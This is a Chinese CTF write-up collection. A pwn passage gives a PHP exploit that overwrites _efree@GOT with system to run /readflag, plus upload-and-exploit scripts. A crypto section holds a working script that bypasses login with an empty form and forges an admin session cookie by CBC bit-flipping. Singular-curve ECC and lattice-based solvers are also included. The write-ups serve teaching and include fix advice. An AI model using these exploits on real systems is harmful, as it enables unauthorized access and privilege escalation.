  • _efree@GOT = vuln_base + 0x4050
  • system = libc_base + 0x53110

本次实战打通时解析到的地址是:

vuln_base = 0x7f2ac1164000
libc_base = 0x7f2ac3aba000
_efree@GOT = 0x7f2ac1168050
system = 0x7f2ac3b0d110

这些地址在容器重启后会变化,所以每次都要重新泄露一次。

GOT 覆写

最终生成的利用脚本核心逻辑如下:

<?php
@error_reporting(E_ALL);

$zero8 = "\x00\x00\x00\x00\x00\x00\x00\x00";
$efree_got = "<_efree@GOT little endian>";
$system = "<system little endian>";

edit(-63, $zero8.$zero8.$zero8);
add(1, 8);
edit(-63, $zero8.$efree_got.$zero8);
edit(1, $system);

add(2, 64);
edit(2, "/readflag > /var/www/html/.f\x00");
delete(2);

include '/var/www/html/.f';
?>

这段利用链可以理解成两步:

第一步:把普通槽位变成任意地址写

先用 edit(-63, ...) 越界改元数据,再申请一个正常槽位 add(1, 8),然后再次越界,把该槽位的目标地址改成 _efree@GOT

这样后面的:

edit(1, $system);

就不再是往普通堆块里写数据,而是直接把 system 地址写进 _efree@GOT

第二步:借 delete() 触发 system

再申请一个槽位:

add(2, 64);
edit(2, "/readflag > /var/www/html/.f\x00");
delete(2);

原本 delete(2) 会去执行 _efree(chunk_2)

但由于 GOT 已经被改成 system,这里实际执行的是:

system("/readflag > /var/www/html/.f");

最后直接:

include '/var/www/html/.f';

即可回显 flag。

自动化脚本

题目目录里现在有两套脚本:

  • solve.ps1:原来的 PowerShell 版本
  • solve.py:这次补的 Linux/Ubuntu 版本

Ubuntu 一键利用

在题目目录执行:

python3 solve.py 'http://<target>/'

脚本会自动完成:

  1. 上传 leak_maps.php
  2. 获取 /proc/self/maps
  3. 解析 vuln_baselibc_base
  4. 生成 exp.php
  5. 上传 exp.php
  6. 访问 /exp.php
  7. 再尝试读取 /.f

PowerShell 一键利用

powershell -ExecutionPolicy Bypass -File .\solve.ps1 -BaseUrl "http://<target>"

实战结果

对目标:

http://nihaohaha123:12345/

在 Ubuntu 虚拟机中实测成功,最终拿到:

polarisctf{nihaohaha123}

注意事项

  • 如果页面显示“挑战开启中”或者直接返回 502,通常说明容器正在重启。
  • 容器一旦重启,vuln.solibc 基址会重新随机化,必须重新泄露 /proc/self/maps
  • 当前利用依赖 system 偏移为 0x53110,这是本题当前镜像下的稳定值。
  • 上传字段名是 file,如果题目环境被改版,需要同步修改脚本中的 multipart 字段名。

总结

这题的关键不在复杂堆风水,而在于识别“任意 PHP 上传 + PHP 扩展负索引越界”这一组合。

一旦能上传 PHP 脚本并直接调用扩展函数,负索引越界写就足够把普通槽位改造成任意地址写,进而完成 GOT 覆写,最后借 delete() 稳定触发 system 拿到 flag。

=================== Crypto ===================

【Crypto】 ECC

设备 / 系统:通用,不依赖具体系统;下面按 Python 3 / SageMath 思路 讲。

这题表面上看是 ECC 点乘:

$$ P = [m]G $$

其中 m = bytes_to_long(flag),题目给了基点 G 和输出点 P,目标自然是从 G, P 反推出 m
但这题真正的坑在于:这根本不是一条安全的正常椭圆曲线,而是一条已经退化的奇异曲线。


一、题目信息

题目核心代码如下:

p = ...
a = 0
b = ...
c = ...
d = ...
e = ...

def add(P1, P2):
    ...
    l = (y2 - y1) * pow(x2 - x1, -1, p) % p
    x3 = (l**2 + a * l - b - x1 - x2) % p
    y3 = (l * (x1 - x3) - y1 - a * x3 - c) % p
    return (x3, y3)

def double(P):
    ...
    denom = (2 * y + a * x + c) % p
    num = (3 * x**2 + 2 * b * x + d - a * y) % p
    l = (num * pow(denom, -1, p)) % p
    x3 = (l**2 + a * l - b - 2 * x) % p
    y3 = (l * (x - x3) - y - a * x3 - c) % p
    return (x3, y3)

def mul(k, P):
    ...

随后:

m = bytes_to_long(flag)
G = (...)
P = mul(m, G)
print(P)

也就是说题目给的是:

  • 基点 G
  • 输出点 P = [m]G
  • 要求恢复 m

二、先别急着做离散对数,先判断这是不是正常 ECC

很多人一看到点加、点倍、点乘,就会默认它是普通椭圆曲线离散对数问题。
这一步如果不先检查曲线本身,基本等于主动进坑。

2.1 从加法公式反推曲线方程

这套公式不是标准短 Weierstrass 形式:

$$ y^2 = x^3 + Ax + B $$

而是广义 Weierstrass 形式

$$ y^2 + axy + cy = x^3 + bx^2 + dx + e $$

题里给的是 a = 0,因此曲线实际为:

$$ y^2 + cy = x^3 + bx^2 + dx + e \pmod p $$

这就是题目的原始曲线。


三、对曲线配方,化成更容易观察的形式

当前曲线为:

$$ y^2 + cy = x^3 + bx^2 + dx + e $$

左边不是完全平方,先配方。

3.1 配方过程

两边乘以 4:

$$ 4y^2 + 4cy = 4x^3 + 4bx^2 + 4dx + 4e $$

左侧加上 (c^2):

$$ (2y+c)^2 = 4x^3 + 4bx^2 + 4dx + c^2 + 4e $$

令:

$$ Y = 2y + c $$

则曲线变为:

$$ Y^2 = 4x^3 + 4bx^2 + 4dx + (c^2 + 4e) $$

到这一步,就可以开始观察右边三次多项式是否有异常结构。


四、识别奇异曲线

如果右边能写成:

$$ 4(x+\alpha)^3 $$

那说明三次多项式有三重根,曲线会退化成奇异曲线。

展开:

$$ 4(x+\alpha)^3 = 4x^3 + 12\alpha x^2 + 12\alpha^2 x + 4\alpha^3 $$

和题目中的:

$$ 4x^3 + 4bx^2 + 4dx + (c^2+4e) $$

逐项对比系数,有:

$$ 12\alpha = 4b \Rightarrow 3\alpha = b \pmod p $$

所以:

$$ \alpha = b \cdot 3^{-1} \pmod p $$

代入题目参数,得到:

$$ \alpha = 2078489210550116346878841773482243176661854316474483127656538295705661082842564624182269579170791972324694913964142893932979263618624176175467912680302831 $$

继续验证:

$$ d \stackrel{?}= 3\alpha^2 \pmod p $$

$$ c^2 + 4e \stackrel{?}= 4\alpha^3 \pmod p $$

结果都成立。
因此右侧确实可以写为:

$$ Y^2 = 4(x+\alpha)^3 $$


五、变量平移后得到标准奇异形式

令:

$$ u = x+\alpha,\quad v = Y = 2y+c $$

则曲线化为:

$$ v^2 = 4u^3 $$

这不是正常椭圆曲线,而是一条尖点三次曲线(cuspidal cubic)
也就是说,这条曲线是奇异曲线(singular curve)


六、为什么奇异曲线会失去 ECC 安全性

正常 ECC 的安全性依赖于:

  • 曲线非奇异
  • 点集构成复杂阿贝尔群
  • 离散对数问题困难

但一旦曲线奇异,群结构会退化:

  • 节点曲线常对应有限域乘法群
  • 尖点曲线常对应有限域加法群

本题恰好是尖点曲线,因此它会退化到有限域加法群
这意味着原本的“点乘”会被映射成普通乘法:

$$ [m]G \quad \longrightarrow \quad m \cdot t(G) $$

所以这题根本不是难 ECC,而是“伪装成 ECC 的线性方程”。


七、构造映射到加法群

对于曲线:

$$ v^2 = 4u^3 $$

可使用参数:

$$ t = \frac{2u}{v} $$

代回原变量 (u = x+\alpha, v = 2y+c),得到映射:

$$ \phi(x,y)=\frac{2(x+\alpha)}{2y+c}\pmod p $$

这个映射的关键性质是:

$$ \phi(P+Q)=\phi(P)+\phi(Q)\pmod p $$

因此对于点乘:

$$ \phi([m]G)=m\phi(G)\pmod p $$

而题目给出:

$$ P=[m]G $$

所以:

$$ \phi(P)=m\phi(G)\pmod p $$

直接求解:

$$ m=\phi(P)\cdot \phi(G)^{-1}\pmod p $$

这一步就是整题的核心。


八、为什么这个映射成立

这一步不要求你比赛时手推完整代数几何证明,但至少要理解它不是拍脑袋写出来的。

8.1 参数化曲线

曲线:

$$ v^2 = 4u^3 $$

可作参数化:

$$ u = s^2,\quad v = 2s^3 $$

代入验证:

$$ v^2 = (2s^3)^2 = 4s^6 $$

$$ 4u^3 = 4(s^2)^3 = 4s^6 $$

成立。

8.2 与映射的关系

定义:

$$ t=\frac{2u}{v} $$

代入参数化:

$$ t=\frac{2s^2}{2s^3}=\frac{1}{s} $$

也就是说,t 本质上就是曲线参数的一个线性化坐标。
尖点曲线的群结构和加法群同构,因此点加法在这个参数下就会退化成普通加法。

比赛里你不一定非要完整证明,但至少要知道这不是玄学,而是奇异曲线的标准退化现象。


九、代入本题具体数据

题目给定:

G = (
1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156,
4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009
)

P = (
9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906,
6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694
)

定义:

$$ \phi(X,Y)=\frac{2(X+\alpha)}{2Y+c}\pmod p $$

则:

$$ m = \phi(P)\cdot \phi(G)^{-1}\pmod p $$

计算得到:

$$ m = 15332171262807319558091438562607183829793153852814538240060075529164504121457743104882975101 $$

将其转成字节串,得到最终 flag:

xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}

十、完整利用脚本

下面给出一份可以直接复现的 Python 脚本。

from Crypto.Util.number import long_to_bytes

p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760
d = 1889382340373247565387211782596794283852946561870564309251998196824383297786878212641581641540685106266683503654620956037368416192796434147249748216284648
e = 3015564788819504594313842562882781366361783108618226049128986996153057550014499326419988348165744003693083108924831219996703133056523468396967900376388617

G = (
    1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156,
    4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009
)

P = (
    9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906,
    6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694
)

# alpha = b / 3 mod p
alpha = b * pow(3, -1, p) % p

# 验证曲线确实退化
assert (3 * alpha - b) % p == 0
assert (3 * alpha * alpha - d) % p == 0
assert ((c * c + 4 * e) - 4 * pow(alpha, 3, p)) % p == 0

def phi(Q):
    x, y = Q
    num = 2 * ((x + alpha) % p) % p
    den = (2 * y + c) % p
    return num * pow(den, -1, p) % p

tG = phi(G)
tP = phi(P)

m = tP * pow(tG, -1, p) % p

print("[+] m =", m)
print("[+] flag =", long_to_bytes(m))

预期输出:

[+] m = 15332171262807319558091438562607183829793153852814538240060075529164504121457743104882975101
[+] flag = b'xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}'

十一、可选验证:自己确认映射确实把点加法变成普通加法

如果你想更稳一点,可以把题目里的 add / double / mul 也复现下来,然后验证:

$$ \phi([n]G) = n\phi(G)\pmod p $$

例如验证 n = 1..10

def add(P1, P2):
    if P1 is None:
        return P2

    x1, y1 = P1
    x2, y2 = P2

    l = (y2 - y1) * pow(x2 - x1, -1, p) % p
    x3 = (l * l - b - x1 - x2) % p
    y3 = (l * (x1 - x3) - y1 - c) % p
    return (x3, y3)

def double(P):
    if P is None:
        return None

    x, y = P
    denom = (2 * y + c) % p
    num = (3 * x * x + 2 * b * x + d) % p
    l = num * pow(denom, -1, p) % p
    x3 = (l * l - b - 2 * x) % p
    y3 = (l * (x - x3) - y - c) % p
    return (x3, y3)

def mul(k, P):
    Q = None
    while k:
        if k & 1:
            Q = add(Q, P)
        P = double(P)
        k >>= 1
    return Q

for n in range(1, 11):
    Q = mul(n, G)
    assert phi(Q) == (n * phi(G)) % p
    print(f"[+] n={n} check passed")

这一步不是必须,但很适合用来加深理解:
你不是“抄了一条公式”,而是真的看见这条奇异曲线已经退化成加法群了。


十二、这题真正的考点

这题表面考 ECC,实际上考的是下面这几件事:

1. 能不能从加法公式识别出广义 Weierstrass 曲线

不是所有 ECC 题都写成:

$$ y^2 = x^3 + ax + b $$

很多题会故意写成更一般的形式,逼你自己反推曲线。

2. 能不能先检查曲线是否奇异

这是最核心的点。
只要曲线奇异,ECC 的安全假设就可能直接崩掉。

3. 知不知道奇异曲线会退化成更简单的群

  • 节点曲线常退化到乘法群
  • 尖点曲线常退化到加法群

本题就是典型的尖点曲线。

4. 能不能把“点乘”转换成普通有限域运算

一旦找到映射,原来的离散对数题就不再难了。


十三、比赛里遇到类似题的通用思路

以后看到“奇怪曲线 / 自定义点加公式 / 看起来像 ECC 但又不标准”的题,建议按下面顺序排查:

  1. 先反推曲线方程
    别直接当成普通短 Weierstrass 曲线。

  2. 尽量整理成平方 = 三次多项式
    方便看右边有没有重根、完全立方等结构。

  3. 检查判别式或因式分解
    看是否是奇异曲线。

  4. 判断奇异类型

    • ((x-r)^2(x-s)):通常是节点曲线
    • ((x-r)^3):通常是尖点曲线
  5. 尝试构造映射到加法群/乘法群
    一旦成功,原本的 ECDLP 通常会退化成线性问题。


十四、最终结论

题目中所谓的“ECC”其实是一条已经退化的广义 Weierstrass 曲线。
通过配方和平移后,曲线化为:

$$ v^2 = 4u^3 $$

这是一个尖点三次曲线(奇异曲线),可退化到有限域加法群。
构造映射:

$$ \phi(x,y)=\frac{2(x+\alpha)}{2y+c}\pmod p $$

满足:

$$ \phi(P+Q)=\phi(P)+\phi(Q)\pmod p $$

因此由 (P = [m]G) 可直接解出:

$$ m=\phi(P)\cdot \phi(G)^{-1}\pmod p $$

最终得到:

xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}

十五、一句话总结

这题的本质不是“高难度 ECC 离散对数”,而是:

出题人给了一条已经奇异退化的曲线,导致所谓的点乘其实能被线性化,最后直接秒出 flag。

【Crypto】 ez_login

题目信息

  • 题目类型:Crypto / Web 交叉
  • 目标地址:http://nihaohaha123:12345
  • 最终 flag:
xmctf{nihaohaha123}

这道题非常适合拿来做教学题,因为它把两类经典漏洞串成了一条完整利用链:

  1. 登录逻辑判断不严,导致空表单也能登录
  2. Session 只做了 AES-CBC 加密,没有做完整性校验,导致可以做 CBC bit flipping

如果只看表面,这题像一个普通登录框;但只要愿意认真做边界测试,就能一步一步把它打穿。


一、先别急着猜密码,先判断服务类型

题目最开始给的是:

nihaohaha123 12345

很多人看到这种格式,会下意识认为这是一道传统的 nc 交互题,直接:

nc nihaohaha123 12345

但这道题的关键第一步,就是不要被这个表象带偏。

1. 为什么说它不是普通 nc 菜单题

实际探测后会发现:

  • 连接上去,服务端不会主动输出 banner
  • 随便发一行普通文本,比如 help,会返回 400 Bad Request
  • 如果发标准 HTTP 请求,比如:
GET / HTTP/1.0

服务端会返回:

HTTP/1.1 302 FOUND
Location: /login
Server: Werkzeug/3.1.6 Python/3.12.12

这已经非常明确地告诉我们:

  • 这个端口实际上跑的是一个 HTTP 服务
  • 服务框架是 Flask / Werkzeug
  • 根路径 / 会跳转到 /login

也就是说,题目虽然给的是 host + port,但真正的交互方式应该是:

http://nihaohaha123:12345

这是做这题最重要的第一个“识别动作”。


二、访问 /login,先做最基础的黑盒测试

打开登录页后,页面非常简单,只有两个字段:

  • username
  • password

以及一个 Sign In 按钮。

没有注册功能,没有找回密码,没有验证码,没有短信校验,也没有任何复杂业务逻辑。
这种页面看起来“很普通”,但也正因为普通,最适合先做输入边界测试。

很多同学一看到登录框,就会直接去试:

  • 弱口令
  • SQL 注入
  • SSTI
  • XSS

这些当然可以试,但更基础、更高性价比的动作其实是:

  1. 正常用户密码试探
  2. 空用户名 / 空密码
  3. 整个表单留空
  4. 重复参数
  5. 缺失参数

这题真正的突破点,就藏在最朴素的第三种和第五种测试里。

1. 试正常登录

例如:

POST /login

username=admin&password=admin

返回:

Invalid username or password

这一步没什么惊喜。

2. 试空表单

接下来最关键的一步:

POST /login

<空表单>

服务端居然返回了:

  • 302 Found
  • Location: /
  • Set-Cookie: session=...

这说明一件非常反常的事情:

不传 username 和 password,居然也能登录成功

这时候再带着这个 session 去访问首页,会发现页面显示:

你好, None!

也就是说:

  • 空表单确实被当成一次合法登录
  • 当前 session 中对应的用户名是 None

做到这里时,虽然我们还没看到源码,但利用方向其实已经基本清晰了:

先白嫖一个合法 session,再想办法把 user=None 改成 user=admin

三、结合源码定位第一个漏洞:空表单认证绕过

工作区中对应源码位于:

  • /Users/chenjianfang/Desktop/PolarisCTF/CY/ez_login/app.py

登录逻辑如下:

@app.route('/login', methods=['GET', 'POST'])
def login_page():
    if request.method == 'GET':
        return render_template('login.html')
    
    user = request.form.get('username')
    pw = request.form.get('password')
    
    if USERS.get(user) == pw:
        resp = make_response(redirect(url_for('index')))
        resp.set_cookie('session', create_session(user))
        return resp
    return "Invalid username or password", 403

核心问题在这一句:

if USERS.get(user) == pw:

1. 这句为什么会出问题

在 Flask 里:

request.form.get('username')

如果没有传这个字段,返回值是:

None

同理:

request.form.get('password')

如果没传,也会得到 None

再看 USERS.get(user)
如果 user 不存在于字典里,它默认也会返回 None

所以当我们发送一个完全空的表单时:

user = None
pw = None
USERS.get(user) = None

于是程序判断就变成了:

if None == None:

条件成立,登录成功。

2. 这类漏洞的本质是什么

这不是 SQL 注入,不是模板注入,也不是密码猜解。
它本质上是:

身份认证逻辑写错,导致“缺失字段”与“合法条件”发生了意外碰撞

这是 Python Web 题里很经典的一种坑,尤其容易出现在以下写法中:

if db.get(user) == pw:

因为:

  • dict.get(missing_key) 默认返回 None
  • 表单缺字段时也常常是 None

两个“None”一对上,认证就绕过去了。

3. 漏洞利用后的结果

源码里登录成功后会:

resp.set_cookie('session', create_session(user))

由于此时 userNone,服务端实际上给我们签发的是一个表示:

user=None

的 session。

这就是后续位翻转的起点。


四、第二个漏洞:Session 只有加密,没有完整性校验

继续看源码中的 session 生成逻辑:

def create_session(username):
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    msg = f"user={username}".encode()
    ct = cipher.encrypt(pad(msg, 16))
    return (iv + ct).hex()

以及解密逻辑:

def get_session_data(token_hex):
    if not token_hex: return None
    data = bytes.fromhex(token_hex)
    iv, ct = data[:16], data[16:]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ct)
    return unpad(decrypted, 16).decode(errors='ignore')

这说明 cookie session 的结构是:

hex(IV || ciphertext)

明文内容是:

user=<username>

1. 这里最大的问题是什么

程序确实用了 AES-CBC 加密,但它没有做任何“完整性保护”。

这意味着服务端只会:

  1. 拿 cookie 解密
  2. 把解密结果当真

它并不会验证这个 cookie 是否被篡改过。

这是很多初学者非常容易忽略的一点:

“加密”只能解决保密性问题,不能自动解决防篡改问题

如果没有:

  • HMAC
  • 签名
  • AEAD 模式(例如 GCM)
  • 或服务端 session 存储

那么这个 cookie 就仍然可能被伪造。

2. 为什么 CBC 模式特别容易被拿来做 bit flipping

因为 CBC 第一块明文的解密公式是:

P1 = D(C1) XOR IV

这里:

  • P1 是第一块明文
  • C1 是第一块密文
  • IV 是初始化向量

注意这个公式说明了一件事:

第一块明文,直接受 IV 控制

如果我们不去改 C1,只去改 IV,那新的第一块明文就会变成:

P1' = D(C1) XOR IV'

于是只要我们已知原始明文 P1,也知道自己想变成什么目标明文 P1',就能直接算出新的 IV'

IV' = IV XOR P1 XOR P1'

这就是 CBC bit flipping 的核心公式。


五、为什么这题可以精准翻成 admin

这题之所以舒服,是因为原始明文我们几乎完全知道。

1. 原始明文是什么

空表单登录后,服务端调用的是:

create_session(user)

而此时 user = None,所以原始明文就是:

user=None

它一共有 9 个字节:

u s e r = N o n e

AES 分组大小是 16 字节,所以它会按 PKCS#7 补齐。

16 - 9 = 7,因此原始第一块明文是:

orig = b"user=None" + bytes([7]) * 7

也就是:

b"user=None\x07\x07\x07\x07\x07\x07\x07"

2. 目标明文是什么

我们想伪造管理员身份,所以希望解密出来的是:

user=admin

这个字符串有 10 个字节,因此补齐后是:

target = b"user=admin" + bytes([6]) * 6

也就是:

b"user=admin\x06\x06\x06\x06\x06\x06"

3. 为什么长度刚好合适

这里有个特别巧妙的点:

  • user=None 补齐后正好是一整块 16 字节
  • user=admin 补齐后也正好是一整块 16 字节

所以我们完全不需要去碰后续密文块,光改 IV 就够了。

如果目标字符串长度跨块了,这题复杂度会明显上升;但这里它刚好把利用条件喂到了嘴边。


六、CBC bit flipping 的推导过程

很多 WP 会直接丢一句:

new_iv = iv ^ orig ^ target

然后就继续往下写了。
但如果不把原理讲清楚,初学者很容易只会“套公式”,不会“独立判断能不能用”。

这里我们把它完整推一遍。

1. 原始情况

设:

  • 原始 IV 为 IV
  • 第一块密文为 C1
  • 第一块明文为 P1

则:

P1 = D(C1) XOR IV

2. 篡改后

我们保持 C1 不变,只把 IV 改成 IV',那么解密后第一块明文会变成:

P1' = D(C1) XOR IV'

3. 变形得到目标公式

由第一式得:

D(C1) = P1 XOR IV

代回第二式:

P1' = (P1 XOR IV) XOR IV'

整理可得:

IV' = IV XOR P1 XOR P1'

因此,只要我们知道:

  • 原始明文 P1
  • 目标明文 P1'
  • 原始 IV

就能直接算出一个新的 IV,使服务端把同一段密文解出我们想要的内容。


七、完整利用思路

整条利用链可以概括成四步:

  1. /login 提交空表单
  2. 获取表示 user=None 的合法 session
  3. 修改 IV,把第一块明文从 user=None 翻成 user=admin
  4. 带着伪造后的 cookie 访问首页,拿到 flag

下面给出完整脚本。


八、利用脚本

#!/usr/bin/env python3
import re
import requests

BASE = "http://nihaohaha123:12345"

# 第一步:空表单登录,获取一个合法 session
r = requests.post(f"{BASE}/login", data={}, allow_redirects=False, timeout=10)
token = r.cookies.get("session")

if not token:
    print("[-] 没拿到 session")
    print(r.status_code, r.text)
    raise SystemExit

print("[+] original session =", token)

# 第二步:拆出 IV 和密文
raw = bytes.fromhex(token)
iv = raw[:16]
ct = raw[16:]

# 第三步:构造已知原文和目标原文
orig = b"user=None" + bytes([7]) * 7
target = b"user=admin" + bytes([6]) * 6

# 第四步:CBC bit flipping
new_iv = bytes(a ^ b ^ c for a, b, c in zip(iv, orig, target))
forged = (new_iv + ct).hex()

print("[+] forged session   =", forged)

# 第五步:访问首页
r = requests.get(f"{BASE}/", cookies={"session": forged}, timeout=10)
print(r.text)

m = re.search(r"xmctf\{[^}]+\}", r.text, re.I)
if m:
    print("[+] flag =", m.group(0))
else:
    print("[-] flag not found")

运行后即可得到:

xmctf{nihaohaha123}

九、每一步到底发生了什么

为了真正理解这题,我们把脚本里每一步拆开解释。

1. 为什么 POST /login 空表单会有 cookie

因为服务端判断:

if USERS.get(user) == pw:

而空表单时:

user = None
pw = None
USERS.get(None) = None

所以条件成立。

因为这是服务端亲手签发的,不是我们伪造的。
它在服务端看来完全正常,只不过里面装的是:

user=None

3. 为什么我们只改 IV 就够了

因为要修改的是第一块明文。
CBC 第一块明文由:

D(C1) XOR IV

得到,所以只改 IV 就能精确控制第一块明文。

4. 为什么不需要知道 AES 的 KEY

因为我们不是在“解密”,也不是在“重新加密”。
我们只是利用了 CBC 模式本身的异或性质。

换句话说,这里利用的不是“弱密钥”,而是:

未认证的 CBC 加密天生可篡改

5. 为什么原始明文可以完全确定

因为源码里 session 明文格式是:

msg = f"user={username}".encode()

而我们又通过黑盒现象确认空登录后的用户名显示为 None
所以原始明文第一块必然就是:

user=None + padding

这里不存在猜测成分。


十、常见误区

1. 误以为这是 SQL 注入题

很多同学看到登录框,就会疯狂试:

' or 1=1 --
admin'#
{{7*7}}

这些 payload 在别的题里可能有用,但这题真正的漏洞并不在数据库层,而在 Python 业务逻辑层。

2. 误以为“cookie 被 AES 加密了就改不了”

这是密码学题里最常见的误区之一。
AES-CBC 只保证别人看不懂明文,不保证别人不能改密文并影响解密结果。

如果系统没有做完整性校验,那么“加密后的 cookie”依然可能被攻击者控制。

3. 忽略 padding

做 CBC bit flipping 时,必须拿“完整分组后的明文”去参与异或。
不能只写:

orig = b"user=None"
target = b"user=admin"

因为服务端解密后会再做 unpad,padding 必须是正确的。

这题中:

  • user=None 需要补 0x07 * 7
  • user=admin 需要补 0x06 * 6

这一步不能省。

如果你用的是 requests.Session(),又在同一个会话里自动保存了原始 cookie,然后再手工传一个 forged cookie,有时可能会因为客户端行为或服务端解析顺序导致结果看起来“不稳定”。

更稳妥的写法是:

requests.get(url, cookies={"session": forged})

尽量保证服务端只看到你想提交的那个值。


十一、源码视角总结漏洞链

这题最值得学习的,是它的漏洞链非常完整,而且每一步都很典型。

漏洞 1:认证绕过

问题代码:

if USERS.get(user) == pw:

成因:

  • 缺失参数会返回 None
  • 字典查询失败也返回 None
  • 导致空表单时 None == None

结果:

  • 攻击者无需知道任何账号密码
  • 可以直接获得合法 session

漏洞 2:未认证加密

问题代码:

return (iv + ct).hex()

以及:

decrypted = cipher.decrypt(ct)
return unpad(decrypted, 16).decode(errors='ignore')

成因:

  • Session 只做了加密,没有签名
  • 服务端默认“能解出来就算合法”

结果:

  • 攻击者可以对 cookie 做可控篡改
  • 通过 bit flipping 提权成管理员

最终效果

空表单登录 -> 拿到 user=None session -> IV 位翻转 -> user=admin -> 读取 flag

十二、修复建议

这题虽然是 CTF,但它映射到真实开发场景里,其实是非常实用的安全案例。

1. 修复登录逻辑

不要写:

if USERS.get(user) == pw:

应该显式检查输入存在性,例如:

if user is None or pw is None:
    return "Missing parameters", 400

if user not in USERS:
    return "Invalid username or password", 403

if USERS[user] != pw:
    return "Invalid username or password", 403

2. 不要自己手搓“只加密不签名”的 session

更安全的做法有:

  • 使用服务端 session 存储
  • 使用带签名的 session 方案
  • 使用 AEAD 模式,例如 AES-GCM
  • 或至少使用“加密 + HMAC”的组合

3. 服务端不要信任“能解开”的密文

能解开,不代表它是合法的。
必须验证完整性,才能确认它是服务端签发、未被篡改过的。


十三、最终总结

这题表面上是一个普通登录框,实际上是一条非常漂亮的组合链:

  1. 先利用认证逻辑缺陷,空表单白嫖一个合法 cookie
  2. 再利用 CBC 模式缺乏完整性保护的特点,篡改 IV
  3. user=None 精准翻成 user=admin
  4. 最终拿到管理员页面中的 flag

如果只记一句话,那这题最核心的启发就是:

“加密过的 cookie”不等于“安全的 cookie”。
没有完整性保护的 CBC,就可能被 bit flipping。

最终 flag:

xmctf{nihaohaha123}

【Crypto】 sda

sda Writeup

基本情况

题目给出三组公开参数 (Ai, Bi),并在脚本中校验关系

Bi * xi^2 - y^2 * phi(Ai) = zi

其中 zi 很小,最后再用

y^2 + x1^2 * x2^2 * x3^2

做 SHA-256,取前 16 字节作为 AES-CBC 密钥。题目真正需要恢复的不是常规 RSA 私钥,而是一组满足该弱关系的平方量。

这题的关键在于把它看成多模数 simultaneous Diophantine approximation,而不是去暴力猜 AES 密钥。

解题耗时约 25 分钟。

加密逻辑分析

我先观察到源码里真正公开的量只有 A1 A2 A3 B1 B2 B3 和最终密文,秘密量是 x1 x2 x3 y z1 z2 z3 alpha。

把等式改写一下:

Bi * xi^2 ≈ y^2 * phi(Ai)

又因为 phi(Ai) = Ai + 1 - (pi + qi),而 pi + qi 远小于 Ai 的量级,所以有

xi^2 / y^2 ≈ (Ai + 1) / Bi

这就变成了一个有公共分母的同时丢番图逼近问题。对 k = 3,可以直接照 simultaneous attack 的格构造做:

ci = - floor(C * (Ai + 1) / Bi)

再构造 4 维格基

[ 1 c1 c2 c3 ] [ 0 C 0 0 ] [ 0 0 C 0 ] [ 0 0 0 C ]

对它做 LLL 约化,取 H = K * M^{-1} 的第一行,就能恢复出一组合法的平方量

y^2 = 79534770917548 x1^2 = 270773515245763 x2^2 = 383729843021257 x3^2 = 363893359279085

有了这四个数,就能继续把每个模数分解出来。因为

phi(Ai) ≈ Bi * xi^2 / y^2

所以

pi + qi ≈ Ai + 1 - Bi * xi^2 / y^2

这个近似已经非常准,只需要在一个很小的窗口内枚举修正量,让

S^2 - 4Ai

成为完全平方数即可。最终得到

A1 = 1090572505187971645529 * 214667263414571384233 A2 = 828869186640649439797 * 767534753237922809891 A3 = 1165370758345329049639 * 777188348395140418267

接着可以精确算出 phi(Ai),并验证残差确实很小:

z1 = 224130168254522 z2 = 99715438091581 z3 = 314449433786576

最后按题目原逻辑生成 AES 密钥:

key_material_int = y^2 + x1^2 * x2^2 * x3^2 key = sha256(long_to_bytes(key_material_int))[:16]

解出明文后得到最终 Flag:

xmctf{1f1f595c6849030aad5eee38f856d8ff}

解题脚本

# Windows example:
#   py -3 -m pip install sympy pycryptodome
#   py -3 solve.py

import time
import hashlib
from math import isqrt
from decimal import Decimal, getcontext

from sympy import Matrix
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes


def check_timeout(deadline: float) -> None:
    if time.time() > deadline:
        raise TimeoutError("solver timeout")


def recover_factors(A: int, B: int, X: int, Y: int, deadline: float):
    s0 = (A + 1) - (B * X) // Y
    for delta in range(-32, 33):
        check_timeout(deadline)
        s = s0 + delta
        disc = s * s - 4 * A
        if disc < 0:
            continue
        t = isqrt(disc)
        if t * t == disc and (s + t) % 2 == 0:
            p = (s + t) // 2
            q = (s - t) // 2
            if p * q == A:
                return int(p), int(q)
    raise ValueError("factor recovery failed")


def main():
    deadline = time.time() + 60.0
    getcontext().prec = 100

    A1 = 234110215243875326749544596075512335544257
    B1 = 68765596672109672407420253033782942222910
    A2 = 636185906634748653451789798738597280632127
    B2 = 131860738134887128678021271054606611917493
    A3 = 905712574946398586494048707872100065355613
    B3 = 197958111431918701470218006359610095848736
    data = [
        (A1, B1),
        (A2, B2),
        (A3, B3),
    ]

    ct_hex = "93192f46a00b2dade984ca758706b00681263a8536d8051aff0206d257ce4c2aad6bc017138d4c7aeaed5c8fc2c1ea2f3cec3fbd9201bb5844fa8143d6630944"
    iv = bytes.fromhex(ct_hex[:32])
    ciphertext = bytes.fromhex(ct_hex[32:])

    k = 3
    N = max(A for A, _ in data)
    delta = Decimal(3) / Decimal(8)
    eps = Decimal(5).sqrt() * (Decimal(N) ** (delta - Decimal("0.5")))
